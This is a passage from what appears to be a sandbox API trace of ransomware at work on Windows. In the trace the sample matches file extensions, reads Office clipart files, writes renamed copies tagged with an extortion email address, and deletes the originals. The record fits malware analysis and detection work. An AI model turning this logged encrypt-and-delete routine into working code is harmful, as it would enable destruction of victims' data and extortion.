[0074.467] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0074.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0074.467] lstrlenW (lpString=".dbf") returned 4 [0074.467] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0074.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0074.467] lstrlenW (lpString=".1cd") returned 4 [0074.467] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0074.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0074.467] lstrlenW (lpString=".jpg") returned 4 [0074.467] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.468] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.468] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0074.468] GetLastError () returned 0x0 [0074.469] ReadFile (in: hFile=0x37c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xfea, lpOverlapped=0x0) returned 1 [0074.470] WriteFile (in: hFile=0x370, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xff0, lpOverlapped=0x0) returned 1 [0074.471] ReadFile (in: hFile=0x37c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.471] WriteFile (in: hFile=0x370, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.471] SetEndOfFile (hFile=0x370) returned 1 [0074.471] CloseHandle (hObject=0x370) returned 1 [0074.471] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.471] SetEndOfFile (hFile=0x37c) returned 1 [0074.472] CloseHandle (hObject=0x37c) returned 1 [0074.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0074.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 1 [0074.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0074.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0074.473] lstrlenW (lpString=".doc") returned 4 [0074.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0074.473] lstrlenW (lpString=".docx") returned 5 [0074.473] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0074.473] lstrlenW (lpString=".pdf") returned 4 [0074.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0074.473] lstrlenW (lpString=".xls") returned 4 [0074.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0074.473] lstrlenW (lpString=".xlsx") returned 5 [0074.473] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0074.473] lstrlenW (lpString=".ppt") returned 4 [0074.473] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0074.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0074.473] lstrlenW (lpString=".zip") returned 4 [0074.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0074.473] lstrlenW (lpString=".rar") returned 4 [0074.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0074.473] lstrlenW (lpString=".bz2") returned 4 [0074.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0074.473] lstrlenW (lpString=".7z") returned 3 [0074.474] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0074.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0074.474] lstrlenW (lpString=".dbf") returned 4 [0074.474] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0074.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0074.474] lstrlenW (lpString=".1cd") returned 4 [0074.474] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0074.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0074.474] lstrlenW (lpString=".jpg") returned 4 [0074.474] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.474] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.474] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0074.475] GetLastError () returned 0x0 [0074.475] ReadFile (in: hFile=0x37c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x2168, lpOverlapped=0x0) returned 1 [0074.772] WriteFile (in: hFile=0x370, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x2170, lpOverlapped=0x0) returned 1 [0075.138] ReadFile (in: hFile=0x37c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.138] WriteFile (in: hFile=0x370, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.138] SetEndOfFile (hFile=0x370) returned 1 [0075.139] CloseHandle (hObject=0x370) returned 1 [0075.139] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.139] SetEndOfFile (hFile=0x37c) returned 1 [0075.140] CloseHandle (hObject=0x37c) returned 1 [0075.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 1 [0075.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0075.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0075.141] lstrlenW (lpString=".doc") returned 4 [0075.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.141] lstrlenW (lpString=".docx") returned 5 [0075.141] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.141] lstrlenW (lpString=".pdf") returned 4 [0075.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.141] lstrlenW (lpString=".xls") returned 4 [0075.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.141] lstrlenW (lpString=".xlsx") returned 5 [0075.141] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.141] lstrlenW (lpString=".ppt") returned 4 [0075.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0075.142] lstrlenW (lpString=".zip") returned 4 [0075.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.142] lstrlenW (lpString=".rar") returned 4 [0075.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.142] lstrlenW (lpString=".bz2") returned 4 [0075.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.142] lstrlenW (lpString=".7z") returned 3 [0075.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0075.142] lstrlenW (lpString=".dbf") returned 4 [0075.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0075.142] lstrlenW (lpString=".1cd") returned 4 [0075.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0075.142] lstrlenW (lpString=".jpg") returned 4 [0075.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.144] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.144] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0075.144] GetLastError () returned 0x0 [0075.144] ReadFile (in: hFile=0x37c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x488, lpOverlapped=0x0) returned 1 [0075.148] WriteFile (in: hFile=0x370, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x490, lpOverlapped=0x0) returned 1 [0075.149] ReadFile (in: hFile=0x37c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.149] WriteFile (in: hFile=0x370, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.150] SetEndOfFile (hFile=0x370) returned 1 [0075.150] CloseHandle (hObject=0x370) returned 1 [0075.150] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.150] SetEndOfFile (hFile=0x37c) returned 1 [0075.151] CloseHandle (hObject=0x37c) returned 1 [0075.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 1 [0075.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0075.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0075.152] lstrlenW (lpString=".doc") returned 4 [0075.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.152] lstrlenW (lpString=".docx") returned 5 [0075.152] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.153] lstrlenW (lpString=".pdf") returned 4 [0075.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.153] lstrlenW (lpString=".xls") returned 4 [0075.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.153] lstrlenW (lpString=".xlsx") returned 5 [0075.153] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.153] lstrlenW (lpString=".ppt") returned 4 [0075.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0075.153] lstrlenW (lpString=".zip") returned 4 [0075.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.153] lstrlenW (lpString=".rar") returned 4 [0075.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.153] lstrlenW (lpString=".bz2") returned 4 [0075.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.153] lstrlenW (lpString=".7z") returned 3 [0075.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0075.153] lstrlenW (lpString=".dbf") returned 4 [0075.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0075.154] lstrlenW (lpString=".1cd") returned 4 [0075.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0075.154] lstrlenW (lpString=".jpg") returned 4 [0075.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.154] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.154] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0075.155] GetLastError () returned 0x0 [0075.155] ReadFile (in: hFile=0x37c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x91c, lpOverlapped=0x0) returned 1 [0075.157] WriteFile (in: hFile=0x370, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x920, lpOverlapped=0x0) returned 1 [0075.158] ReadFile (in: hFile=0x37c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.158] WriteFile (in: hFile=0x370, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.158] SetEndOfFile (hFile=0x370) returned 1 [0075.158] CloseHandle (hObject=0x370) returned 1 [0075.159] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.159] SetEndOfFile (hFile=0x37c) returned 1 [0075.160] CloseHandle (hObject=0x37c) returned 1 [0075.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 1 [0075.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0075.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0075.161] lstrlenW (lpString=".doc") returned 4 [0075.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.161] lstrlenW (lpString=".docx") returned 5 [0075.161] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.161] lstrlenW (lpString=".pdf") returned 4 [0075.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.161] lstrlenW (lpString=".xls") returned 4 [0075.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.161] lstrlenW (lpString=".xlsx") returned 5 [0075.161] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.161] lstrlenW (lpString=".ppt") returned 4 [0075.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0075.161] lstrlenW (lpString=".zip") returned 4 [0075.161] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.161] lstrlenW (lpString=".rar") returned 4 [0075.161] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.161] lstrlenW (lpString=".bz2") returned 4 [0075.161] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.161] lstrlenW (lpString=".7z") returned 3 [0075.161] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0075.161] lstrlenW (lpString=".dbf") returned 4 [0075.161] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0075.162] lstrlenW (lpString=".1cd") returned 4 [0075.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0075.162] lstrlenW (lpString=".jpg") returned 4 [0075.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.163] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.163] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0075.164] GetLastError () returned 0x0 [0075.164] ReadFile (in: hFile=0x37c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x284c, lpOverlapped=0x0) returned 1 [0075.166] WriteFile (in: hFile=0x370, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x2850, lpOverlapped=0x0) returned 1 [0075.167] ReadFile (in: hFile=0x37c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.167] WriteFile (in: hFile=0x370, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.167] SetEndOfFile (hFile=0x370) returned 1 [0075.167] CloseHandle (hObject=0x370) returned 1 [0075.167] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.168] SetEndOfFile (hFile=0x37c) returned 1 [0075.169] CloseHandle (hObject=0x37c) returned 1 [0075.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.169] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 1 [0075.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0075.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0075.170] lstrlenW (lpString=".doc") returned 4 [0075.170] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.170] lstrlenW (lpString=".docx") returned 5 [0075.170] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.170] lstrlenW (lpString=".pdf") returned 4 [0075.170] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.170] lstrlenW (lpString=".xls") returned 4 [0075.170] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.170] lstrlenW (lpString=".xlsx") returned 5 [0075.170] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.170] lstrlenW (lpString=".ppt") returned 4 [0075.170] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0075.170] lstrlenW (lpString=".zip") returned 4 [0075.170] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.171] lstrlenW (lpString=".rar") returned 4 [0075.171] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.171] lstrlenW (lpString=".bz2") returned 4 [0075.171] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.171] lstrlenW (lpString=".7z") returned 3 [0075.171] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0075.171] lstrlenW (lpString=".dbf") returned 4 [0075.171] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0075.171] lstrlenW (lpString=".1cd") returned 4 [0075.171] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0075.171] lstrlenW (lpString=".jpg") returned 4 [0075.171] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.712] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.712] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0075.713] GetLastError () returned 0x0 [0075.713] ReadFile (in: hFile=0x348, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x76ce, lpOverlapped=0x0) returned 1 [0075.716] WriteFile (in: hFile=0x39c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x76d0, lpOverlapped=0x0) returned 1 [0075.717] ReadFile (in: hFile=0x348, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, 